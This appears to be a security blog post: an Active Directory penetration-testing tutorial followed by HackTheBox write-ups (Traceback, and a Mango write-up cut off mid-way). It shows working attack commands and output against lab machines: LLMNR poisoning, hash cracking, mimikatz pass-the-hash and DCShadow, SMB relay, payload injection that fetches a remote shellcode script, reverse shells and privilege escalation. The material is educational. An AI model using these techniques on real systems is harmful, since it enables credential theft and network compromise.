Exploring and Abusing Windows Active Directory: common attack vectors on enterprise networks

Hello everyone and security enthusiasts!

I will describe here some techniques used by pentesters to abuse Windows Active Directory and some basic security concepts and mitigation. You will need to set up a small lab to test your exploits. Figure 1 represent the network we will be practicing on for these examples. Bear in mind that some enterprise network infrastructures can rely on thousands of machines. A network comprising of 2 Windows client and 1 Domain Controller is sufficient for our examples.

AD network
Figure 1: Basic practice lab for the attack vectors demonstrated in this post

What is Active Directory?

Active Directory (AD) is a common directory service (DS) used in most corporate networks. It organizes the information shared between the administrator and users about a the network, for example; the users accounts, shared folders, resources, access control, printers and other devices.

AD DS usually have one or more domain controller and different user accounts. When a user is part of a domain, he can use his domain identifier to login and send an email with the company servers, use the company printers or even access shared folders. An user identifier is in the format user@domain.com or DOMAIN\user.

In the infrastructure of this network, there is a domain controller that act as central point of the network, meaning it centralizes and log users activity, permissions, groups, resources as well as access policies, network policies, firewall, and almost any configuration a windows based computer can have, all under his authority.

It also control the authentication mechanism in the network (Kerberos), hence it store user and password hashes. Basically the domain controller manages the whole IT infrastructure of the company. If we are able to compromise the domain controller we are able to own the whole network so it’s interesting to see what are the commons paths for a successful exploit of such services. Note that a domain controller does not come out of the box in a Windows installation, but only with Windows Server.

Practical considerations

As we already know every Windows OS has a SAM (security account manager) which contains hashed passwords of the users, usually with LM or NTLMv1/2. You can’t access the SAM at run time (%SystemRoot%/system32/config/SAM) since it is encrypted after booting with the SYSKEY. You can still easily overwrite them if you have direct access to the machine and boot it Kali using chntpw. There are ways to extract them such by creating a shadow volume and reading the copied SAM or simply using the samdump2tool, or even mimikatz, we will get to this one later, but is not the main subject of this article.

A domain controller has also a SAM for its local users and groups but also has NTDS.dit. It is a database containing AD data such as information about users and groups, as well as password hashes. One copy located in %SystemRoot%\NTDS\Ntds.dit used by the controller itself and another copy located at %SystemRoot%\System32\Ntds.dit which is used to be replicated and updated across other domain controllers inside the same network.

First Attack: LLMNR poisoning

LLMNR stands for Link-Local Multicast Name Resolution. It’s a protocol based on the DNS protocol and hence it’s purpose is to help hosts resolve domain names using IP addresses. We can abuse this protocol by poisoning the request and extract the hashes. This only works if the victims requests a connection to a non-discovered or non-existent host. Usually the host looks first into his hosts file (C:/Windows/System32/Drivers/etc/hosts) then if not found, does a DNS request, and if still unsuccessful broadcast an LLMNR requests.

LLMNR PoisoningIn badly configured networks, if some hosts try to resolve some hostnames that are not-existent or mistyped, it exposes itself to this attack, since it has to use a multi-cast for IP resolution. Clients and servers where WPAD is enabled (proxy tab in windows settings) are also vulnerable since they have to try to resolve multiple hostnames.

We can use a responder.py to intercept and inject LLMNR requests. It has also the ability to poison NBT-NS and MDNS protocol and has built-in easily deployable rogue servers such as HTTP, SMB, MSSQL, FTP, LDAP and more. We start by configuring the tool by setting SMB and HTTP to “On” and we start to catch requests in the network and obtain some hashes.

root@kali:~/Desktop/ADsec/Responder# nano Responder.conf
[ResponderCore]

;Serverstostart
SQL = On
SMB = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On

[...snip...]

root@kali:~/Desktop/ADsec/Responder# python Responder.py -I vboxnet0

[...snip...]

[+] Listening for events... 
[*] [NBT-NS] Poisoned answer sent to 192.168.10.20 for name HOSTNAEM
[*] [MDNS] Poisoned answer sent to 192.168.10.20 for name hostnaem.local
[*] [LLMNR] Poisoned answer sent to 192.168.10.20 for name hostnaem
[*] [MDNS] Poisoned answer sent to 192.168.10.20 for name hostnaem.local
[*] [LLMNR] Poisoned answer sent to 192.168.10.20 for name hostnaem
[SMB] NTLMv2-SSP Client : 192.168.10.20 
[SMB] NTLMv2-SSP Username : VICTIM\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::VICTIM:3b22c9cdca22456f:AD49EAF02DE617609EC88E8478879819:010100010100000 0C0653150DEO9D2010A0D137E3C453C990000000002000140053004D00420330001001E00570049004E002D005000520048003400390032005 200510041004600560004001400530D12AC93A6F9511082D2B825EA0C061006C0003003400570049004E002D0050005200480034003900320 0520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C000 7000800C0653150DEO9D201060004000200002038003000300100300000002001000000002000004208067E55CDDD149536CEBF169EF08193D FF81C1358873FDD2268061C17CAOBOA0010000000000000000000000000000000000009001C0063006900660073002F00620069006D0065007 30061006800720067000000000000000000

Cracking NTLMv2 hashes with John

We have a hash of a user at VICTIM machine, we can use john or hashcat to obtain plain-text passwords. Mode 5600 in hashcat is specified for NTLM/v2 hashes.

root@kali:~/Desktop/ADsec/Responder# john --wordlist=rockyou.txt hash.txt                                                                                               
Using default input encoding: UTF-8                                                                                                                                                           
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])                                                                                                                           
Will run 4 OpenMP threads                                                                                                                                                                     
Press 'q' or Ctrl-C to abort, almost any other key for status                                                                                                                                 
myeasypass         (Administrator)                                                                                                                                                              
1g 0:00:00:00 DONE (2018-11-02 18:37) 2.439g/s 179824p/s 179824c/s 179824C/s jacksparrow..warrior222                                                                                               
Warning: passwords printed above might not be all those cracked                                                                                                                               
Use the "--show" option to display all of the cracked passwords reliably                                                                                                                      
Session completed                                                                                                                                                                             
root@kali:~/Desktop/ADsec/Responder# john hash.txt --show                                                                                                                   
Administrator:myeasypassword:VICTIM:3b22c9cdca22456f:AD49EAF02DE617609EC88E8478879819:010100010100000 0C0653150DEO9D2010A0D137E3C453C990000000002000140053004D00420330001001E00570049004E002D005000520048003400390032005 200510041004600560004001400530D12AC93A6F9511082D2B825EA0C061006C0003003400570049004E002D0050005200480034003900320 0520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C000 7000800C0653150DEO9D201060004000200002038003000300100300000002001000000002000004208067E55CDDD149536CEBF169EF08193D FF81C1358873FDD2268061C17CAOBOA0010000000000000000000000000000000000009001C0063006900660073002F00620069006D0065007 30061006800720067000000000000000000

Pass-the-hash if the you can’t crack it

If you simply have the hash and can’t manage to crack it, use to hash to obtain a shell! This can be done with mimikatzor PSExec. You will basically be logged on the same user but have tokens to run processes with the stored tokens.

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  20 modules * * */

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:Administrator /domain:ADLab.local /ntlm:AD49EAF02DE617609EC88E8478879819
user : Administrator
domain : ADLab.local
program : cmd.exe
impers. : no
NTLM : AD49EAF02DE617609EC88E8478879819
  | PID 3839
  | TID 4568 
  | LSA Process is now R/W 
  | LUID 0 ; 13413276 (00000000:00d129c1) 
  \_ msvl_0 - data copy @ 0000021033cA9770 : OK !
  \_ kerberos - data copy @ 0000021033cA9770 
   \_ aes256_hmac -> null 
   \_ aes128_hmac -> null
   \_ rc4_hmac_nt OK 
   \_ rc4_hmac_old OK 
   \_ rc4_md4 OK 
   \_ rc4_hmac_nt_exp OK 
   \_ rc4_hmac_old_exp OK

mimikatz #

In our obtained shell we can use the rights of Administrator user in another machine to extract data, files or simply perform a lateral movement, simply using the hashes we got. We must note that Microsoft implemented many updates over the years to mitigate this kind of attack, such as Credential Guard, which prevents using NTMLv2 hashes to execute processes on other machines. However, it is still effective today as many enterprise networks are badly configured.

Second Attack: NTLMv2 tokens Multirelay

As discussed, mitigation against pass-the-hash technique has been implemented quite exhaustively in modern Windows OS. And sometimes passwords policy prevents us to easily crack the hashes. In that case, we can simply relay them. Servers that do not implement SMB signing are vulnerable to a multirelay attack. SMB stands for “Server Message Block” and is part of a protocol used to access file shares, use printers as well as other communications on the network. Windows OS usually comes with SMB signing turned off, except for Windows Server. We can use this to gain authentication on other machines in the network.

We start by veryfing SMB signing using RunFinger.py (Responder/tools).

root@kali:~/Desktop/ADsec/Responder/tools# python RunFinger.py -i 192.168.10.0/24                                                                                                                                                                                                                                                                         
                                                                                                                                                                                              
Retrieving information for 192.168.10.10...                                                                                                                                                   
SMB signing: False                                                                                                                                                                            
Null Sessions Allowed: True                                                                                                                                                                   
Vulnerable to MS10-010: False                                                                                                                                                                 
Server Time: 2020-05-07 22:05:31                                                                                                                                                              
OS version: 'Windows 10 Enterprise 14393'                                                                                                                                          
Lanman Client: 'Windows 10 Enterprise 6.3'                                                                                                                                                       
Machine Hostname: 'W10-01-PC'                                                                                                                                                                   
This machine is part of the 'ADLab' domain                                                                                                                                                     
                                                                                                                                                                                              
Retrieving information for 192.168.10.20...                                                                                                                                                   
SMB signing: False                                                                                                                                                                            
Null Sessions Allowed: True                                                                                                                                                                   
Vulnerable to MS10-010: False                                                                                                                                                                 
Server Time: 2020-05-07 22:05:31                                                                                                                                                              
OS version: 'Windows 10 Enterprise 14393'                                                                                                                                          
Lanman Client: 'Windows 10 Enterprise 6.3'                                                                                                                                                       
Machine Hostname: 'W10-02-PC'                                                                                                                                                                   
This machine is part of the 'ADLab' domain     

[...snip...]                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
                                                                                                                                                                                              
root@kali:~/Desktop/ADsec/Responder/tools#

Our windows hosts have SMB signing turned off. Let’s run Responder.py on our 192.168.0.20 target and relay hashes there. Just be sure to turn off SMB and HTTP protocol in Responder’s configuration, as it will conflict with our relaying.

root@kali:~/Desktop/ADsec/Responder/tools# sudo python MultiRelay.py -t 192.168.0.10 -u ALL                                                                                                                                                                                                                                                                             
                                                                                                                                                                                              
Responder MultiRelay 2.0 NTLMv1/2 Relay                                                                                                                                                       
                                                                                                                                                                                              
Send bugs/hugs/comments to: laurent.gaffie@gmail.com                                                                                                                                          
Usernames to relay (-u) are case sensitive.                                                                                                                                                   
To kill this script hit CTRL-C.                                                                                                                                                               
                                                                                                                                                                                              
/*                                                                                                                                                                                            
Use this script in combination with Responder.py for best results.                                                                                                                            
Make sure to set SMB and HTTP to OFF in Responder.conf.                                                                                                                                       
                                                                                                                                                                                              
This tool listen on TCP port 80, 3128 and 445.                                                                                                                                                
For optimal pwnage, launch Responder only with these 2 options:                                                                                                                               
-rv                                                                                                                                                                                           
Avoid running a command that will likely prompt for information like net use, etc.                                                                                                            
If you do so, use taskkill (as system) to kill the process.                                                                                                                                   
*/                                                                                                                                                                                            
                                                                                                                                                                                              
Relaying credentials for these users:                                                                                                                                                         
['ALL']                                                                                                                                                                                       
                                                                                                                                                                                              
                                                                                                                                                                                              
Retrieving information for 192.168.10.10...                                                                                                                                                   
SMB signing: False                                                                                                                                                                            
Os version: 'Windows 10 Enterprise 14393'                                                                                                                                          
Hostname: 'W10-01-PC'                                                                                                                                                                           
Part of the 'ADLab' domain     
[+] Setting up SMB relay with SMB challenge: c2a121c2ffd8da31                                                                                                                                
[+] Received NTLMv2 hash from: 192.168.10.10                                                                                                                                                  
[+] Client info: ['Windows 10 Enterprise 14393', domain: 'ADLab', signing:'False']                                                                                                  
[+] Username: Administrator is whitelisted, forwarding credentials.                                                                                                                           
[+] SMB Session Auth sent.                                                                                                                                                                    
[+] Looks good, Administrator has admin rights on C$.                                                                                                                                         
[+] Authenticated.                                                                                                                                                                            
[+] Dropping into Responder's interactive shell, type "exit" to terminate                                                                                                                     
                                                                                                                                                                                              
Available commands:                                                                                                                                                                           
dump               -> Extract the SAM database and print hashes.                                                                                                                              
regdump KEY        -> Dump an HKLM registry key (eg: regdump SYSTEM)                                                                                                                          
read Path_To_File  -> Read a file (eg: read /windows/win.ini)                                                                                                                                 
get  Path_To_File  -> Download a file (eg: get users/administrator/desktop/password.txt)                                                                                                      
delete Path_To_File-> Delete a file (eg: delete /windows/temp/executable.exe)                                                                                                                 
upload Path_To_File-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \windows\temp\                                                                            
runas  Command     -> Run a command as the currently logged in user. (eg: runas whoami)                                                                                                       
scan /24           -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to                                                                                                              
pivot  IP address  -> Connect to another host (eg: pivot 10.0.0.12)                                                                                                                           
mimi  command      -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)                                                                                                                 
mimi32  command    -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)                                                                                                                 
lcmd  command      -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)                                                                                      
help               -> Print this message.                                                                                                                                                     
exit               -> Exit this shell and return in relay mode.                                                                                                                               
                      If you want to quit type exit and then use CTRL-C                                                                                                                       
                                                                                                                                                                                              
Any other command than that will be run as SYSTEM on the target.                                                                                                                              
                                                                                                                                                                                              
Connected to 192.168.10.10 as LocalSystem.

Now with our admin login and with mimikatz we can easily extract the password of the account using sekurlsa::logonpasswordsmodule, which dumps them in clear text. We are still not owning the domain controller, but at least we have an admin account in one of the clients in AD environment.

One way into compromising other users and possibly the domain controller is to use the DCsync attack, which is included in mimikatz also. It leverages the DC replication mechanism, permitting us impersonate a DC and obtaining credentials of other users in the domain. We must note that to perform this attack, our initially compromised account must have the Replicating Directory Changes Alland Replicating Directory Changesprivileges enabled, which are by default enabled for Administrators of DC and Domain Admins.

Horizontal privesc in AD networks with CrackMapExec

We can use CrackMapExec (CME) to test our compromised user logins in the network. This tool is usually used to automatically assess the security of the AD network. It’s built on top of Impacket and PowerSploit to implement the common Windows protocols and attack scenarios. We can enumerate all possible logins in the network with our user with one command:

crackmapexec smb 192.168.0.0/24 -u 'Administrator' -p 'myeasypassword'

We can also use this tool to enumerate alot of informations about the AD network, such as the password policy, User Account Control (UAC), logged on users, network shares, and so much more! We can even verify what are the anti-virus software deployed on each client with enum_avproductsor even the saved informations in the chrome browser with enum_chrome!

Let’s get into our other clients; since PowerSploit is integrated with CME we can use the in-memory DLL injection, CME will first try to login in all clients with our cracked credentials then inject the powershell script to give us a reverse shell. Be sure to have a meterpreter session listening with multi/handler to catch the shells!

root@kali:~/Desktop/ADsec/CrackMapExec# crackmapexec smb 192.168.10.0/24 -u 'Administrator' -p 'myeasypassword' -M met_inject -o LHOST=192.168.10.30 LPORT=7777                                                                                                                                                                                                      
SMB         192.168.10.10   445    W10-01-PC      [*] Windows 10 Enterprise 6.3 x64 (name:W10-01-PC) (domain:ADLab) (signing:False) (SMBv1:True)                                  
SMB         192.168.10.20   445    W10-02-PC      [*] Windows 10 Enterprise 6.3 x64 (name:W10-02-PC) (domain:ADLab) (signing:False) (SMBv1:True)                            
SMB         192.168.10.50   445    WINSERVER      [*] Windows Server 2019 Standard Evaluation 17763 x64 (name:WINSERVER) (domain:ADLab) (signing:True) (SMBv1:True)                     
SMB         192.168.10.10   445    W10-01-PC      [+] ADLab\Administrator:myeasypassword (Pwn3d!)                                                                                                  
SMB         192.168.10.20   445    W10-02-PC      [+] ADLab\Administrator:myeasypassword (Pwn3d!)                                                                                                  
SMB         192.168.10.50   445    WINSERVER      [+] ADLab\Administrator:myeasypassword (Pwn3d!)                                                                                                  
MET_INJE... 192.168.10.50   445    WINSERVER      [+] Executed payload                                                                                                                      
MET_INJE... 192.168.10.10   445    W10-01-PC      [+] Executed payload                                                                                                                   
MET_INJE... 192.168.10.20   445    W10-02-PC      [+] Executed payload                                                                                                                      
MET_INJE... 192.168.10.20                         [*] - - "GET /Invoke-Shellcode.ps1 HTTP/1.1" 200 -                                                                                        
MET_INJE...                                       [*] Waiting on 2 host(s)                                                                                                                                                                                                                                  
MET_INJE... 192.168.10.50                         [*] - - "GET /Invoke-Shellcode.ps1 HTTP/1.1" 200 -                                                                                        
MET_INJE...                                       [*] Waiting on 1 host(s)                                                                                                                  
MET_INJE... 192.168.10.10                         [*] - - "GET /Invoke-Shellcode.ps1 HTTP/1.1" 200 -
                                                                                        
[...snip...]

A note on DCShadow

If we manage to get Administrator on a machine and that is part of the admins group in AD, we can simulate a rogue AD controller and inject AD objects or modify existing ones; this is powerful in a sense that the main AD controller will not log our attack and also because it’s hard to detect! What’s even more interesting is that we already have a DCShadow module available with mimikatz! With those 2 simple commands we added a new user to our admin groups!

lsadump::dcshadow /object:newuser /attribute:primaryGroupID /value:512
lsadump::dcshadow /push

Conclusion

We saw only 2 attack vectors. Note that we overlooked many other options such as kerberoasting which permits you in one way or another to crack a Ticket Granted Service (TGS) to obtain users passwords as well as using services with the users privileges. Other simple ways might be to simply spear-phishing users accounts, which is very common nowadays and something we see happening everyday in the field. Attackers might also hack into non-updated Windows workstations, as we saw with the latest Zerologonvulnerability. The attack surface of AD is so big that we rarely audit networks that are fully secured and up-to-date. We often don’t have to go the way we explained in those two attack that we covered, or even crack some hashes. I often see system admins storing all users and administrator accounts passwords in a Keepass or an excel file! We didn’t covered any mitigation techniques, but simply disabling legacy protocols such as WPAD, NETBIOS and LLMNR, using more than 12 character passwords, using Group Managed Service Accounts (GMSA), having a SIEM configured to detect mimikatz might be a good start to securing enterprise networks. Auditing successful logins, failed logins, training users to prevent phishing is also something that must be done actively. You might also consider looking into BloodHound, an open source framework to enumerate AD environments. As always, thanks for reading!

CTF – HTB – Traceback

Hello everyone and welcome back to yet another HTB writeup.

Our initial nmap scan reveals only an ssh and webserver open.

root@kali:~/Desktop/htb/Traceback# nmap -sC -sV 10.10.10.181 -p 1-65535 -o TCP_full_scan                                                                 [1/1]
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-12 20:46 EDT
Nmap scan report for 10.10.10.181
Host is up (0.036s latency). 
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION                                                                                                                                  
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                                                                 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA) 
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)  
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us                                                          
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
                                                                                                                                                              
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.48 seconds

On the website we find an interesting comment in the source :

<body>
    <center>
        <h1>This site has been owned</h1>
        <h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
        <h3> - Xh4H - </h3>
        <!--Some of the best web shells that you might need ;)-->
    </center>
</body>

Dirbusting for files and folders with seclists then fuzzing to find virtual hosts gives no result.

root@kali:~/Desktop/htb/Traceback# wfuzz -H "Host: FUZZ.traceback.htb" -u "http://traceback.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 151
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://traceback.htb/
Total requests: 4997

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                      
===================================================================

000000690:   400        12 L     53 W     422 Ch      "gc._msdcs"                                                                                  

Total time: 48.01821
Processed Requests: 4997
Filtered Requests: 4996
Requests/sec.: 104.0646

We consider the hint previously given and build a list of webshells that we are going to bruteforce on the box, revealing /smevk.php.

root@kali:~/Desktop/htb/Traceback# cat wordlist 
1n73ction.php            
52.php         
OsComPayLoad.php
c99.php
cgi      
cgipro1.php
cgiproffesional.php
indoxploit
k2
marion001
pak.php
r57.php
shell4sym.php
smtp.php
up.txt
upluad.php
wso
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

We stumble upon a login page and directly get in with admin:admin, and we have full webshell. We proceed to upload a php reverse shell and obtain a shell as webadmin.

root@kali:~/Desktop/htb/Traceback# nc -lvp 9999
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.181.
Ncat: Connection from 10.10.10.181:56150.
Linux traceback 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 21:21:43 up  1:26,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
/bin/sh: 0: can't access tty; job control turned off

We quickly find a way to pivot as sysadmin, as well as an interesting note.

$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit
$ cd /home/webadmin
$ ls -la
total 48
drwxr-x--- 5 webadmin sysadmin 4096 Apr 15 20:18 .
drwxr-xr-x 4 root     root     4096 Aug 25  2019 ..
-rw------- 1 webadmin webadmin  449 Apr 15 20:51 .bash_history
-rw-r--r-- 1 webadmin webadmin  220 Aug 23  2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23  2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23  2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Aug 24  2019 .local
-rw-rw-r-- 1 webadmin webadmin    1 Aug 25  2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin  807 Aug 23  2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Apr 15 20:16 .ssh
-rw-rw-r-- 1 sysadmin sysadmin  122 Mar 16 03:53 note.txt
$ cat note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.
$

Since we can run a lua script with sysadmin privileges, we proceed to create a lua file and run it as sysadmin.

$ echo -n "os.execute('/bin/sh')" > privesc.lua
$ sudo -u sysadmin /home/sysadmin/luvit privesc.lua
sh: turning off NDELAY mode
id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)

We then proceed to add our ssh public key to the sysadmin authorized_keys to obtain a full interactive shell; in our attacker machine :

root@kali:~/Desktop/htb/Traceback# ssh-keygen -t rsa -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): key
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in key.
Your public key has been saved in key.pub.
The key fingerprint is:
SHA256:mXCRn4D967VXQglQu7bEyfVgdJ8PRGHmaoEJQBA8q7E root@kali
The key's randomart image is:
+---[RSA 4096]----+
|   .o+o+o..o..B..|
|    o . +o o.B .o|
|     o. .+o.o.*o.|
|  . .  o o+o Bo+.|
|   +    S  .X.  o|
|  E       .+... .|
|         . ... o |
|          . . .  |
|             .   |
+----[SHA256]-----+
root@kali:~/Desktop/htb/Traceback#

In our victim machine :

pwd
/home/sysadmin
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpdSnm22bs8CSg8fHuOWhyDn56TAR+BV9DUZaKUyWT2DtPEzfuKgXcGd65IXZLl/fN0e7El0uVr9QiwIqkzTWOGQfFY0gO9OSTGpLEh4jP4caG24H0sPUY5cp6SCwveGWSxnBBa2I2IBjEzHE0ML0pVWA5U3Qw7N8gT24CskklfFm8oaZ2ZVCDpDRZ9Ow+NjDkVRMJLfPIRqsYVaKaiGMNeCBIIoN3OqTWqapx89S2oAbwfKOz9zEMq+Gzx9ibJDy+FYGPGiblZ5eKfdiI4jPrfQFpsex2D7VcLjtOme7FeFzo+22QuUIEuHo1Qg2siVwWkLDJCN+b7mUA1nm/k2/qOetiYuGCnj5mNv9BEht4sADGI4XRSwrHTHIQYiz7dZuw5bKmdxUVapsV/WiShCpIKbsFeaQenploOlgsK7qjknHYwkUUY7/4Y10cM5+1zlV4Vubl/dRAEHeufeXcEuXapKw6kFLDawRIhzFI8Mui3R2RfnyorPHWvyrT4Futztpg9JnWrr6+U73475C8mXZZaZSTizWrySgcRPFL6sW+JfTkn6xmSL7ss3KOBCdc0Z7as5WB5xizl1yf9TxFYuNu8BNcG9YOfJUI1OJHW0mwz8PgB6RLqtXeS5ZR5PXVwONhFX39nkz7OrCEgpsG0J9jST03M820k/YorWNeOeAw5Q== root@kali" >> ./.ssh/authorized_keys

We login as sysadmin with ssh and proceed to enumerate the machine, we quickly find this process running :

root@kali:~/Desktop/htb/Traceback# ssh -i key sysadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 



Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2
$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
$ ps aux

[...snip...]

root       3979  0.0  0.0  58792  3180 ?        S    21:32   0:00 /usr/sbin/CRON -f
root       3982  0.0  0.0   4628   860 ?        Ss   21:32   0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
root       3984  0.0  0.0   7468   772 ?        S    21:32   0:00 sleep 30

[..snip...]

Theres a program copying the root MOTD files to another folder. According to ubuntu man pages :

UNIX/Linux system adminstrators often communicate important information to console and
remote users by maintaining text in the file /etc/motd, which is displayed by the
pam_motd(8) module on interactive shell logins.

Luckily, /etc/update-motd.d/ is writeable by sysadmin. However we have a 30 seconds window before our files are squashed by the /var/backups/.update-motd.d/ files.

sysadmin@traceback:/etc/update-motd.d$ ls -la
total 32
drwxr-xr-x  2 root sysadmin 4096 Aug 27  2019 .
drwxr-xr-x 80 root root     4096 Mar 16 03:55 ..
-rwxrwxr-x  1 root sysadmin  981 Apr 15 21:50 00-header
-rwxrwxr-x  1 root sysadmin  982 Apr 15 21:50 10-help-text
-rwxrwxr-x  1 root sysadmin 4264 Apr 15 21:50 50-motd-news
-rwxrwxr-x  1 root sysadmin  604 Apr 15 21:50 80-esm
-rwxrwxr-x  1 root sysadmin  299 Apr 15 21:50 91-release-upgrade
sysadmin@traceback:/etc/update-motd.d$ cat 00-header
#!/bin/sh
#

[..snip...]

[ -r /etc/lsb-release ] && . /etc/lsb-release

We simply add a command in the 00-header file to call our php-reverse-shell.php and have less than 30 seconds to login as ssh to obtain our command executed and get root user on our listener!

And again, thanks for reading!

CTF – HTB – Mango

Hey everyone and welcome to another write up for a HTB challenge!

We start with the usual nmap scan and reveal port 22, 80 and 443. We then add staging-order.mango.htb to /etc/hosts.

root@kali:~/Desktop/htb/Mango# nmap -sC -sV mango.htb -o TCP_scan
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-03 16:45 EDT
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.050s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.60 seconds

On port 80 we have a website called mango that is a copy-cat of a google webpage. The analytics.php link reveals a client-service called flexmonster that is used to display charts and graphics. We explore it a bit but since it is only a client-side service so we don’t need to investigate further. We have the same pages on port 443.

Since we know we already have one subdomain we try to list other existing subdomains with wfuzz by changing the header Host value to any subdomain (fuzzing host virtual routing). We do not find any other subdomain.

root@kali:~/Desktop/htb/Mango# wfuzz -H "Host: FUZZ.mango.htb" -u "https://10.10.10.162" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 
--hw 514
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: https://10.10.10.162/
Total requests: 4997

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                      
===================================================================

000000690:   400        12 L     53 W     443 Ch      "gc._msdcs"                                                                                  

Total time: 58.40617
Processed Requests: 4997
Filtered Requests: 4996
Requests/sec.: 85.55602

The subdomain staging-order.mango.htb gives us a login page. Bruteforcing directory and php files listing we find /home.php as well as a folder called /vendor. By accessing /vendor/composer/installed.json we can view the installed packages on the backend.

[
    {
        "name": "alcaeus/mongo-php-adapter",
        "version": "1.1.9",
        "version_normalized": "1.1.9.0",
        "source": {
            "type": "git",
            "url": "https://github.com/alcaeus/mongo-php-adapter.git",
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f"
        },
        "dist": {
            "type": "zip",
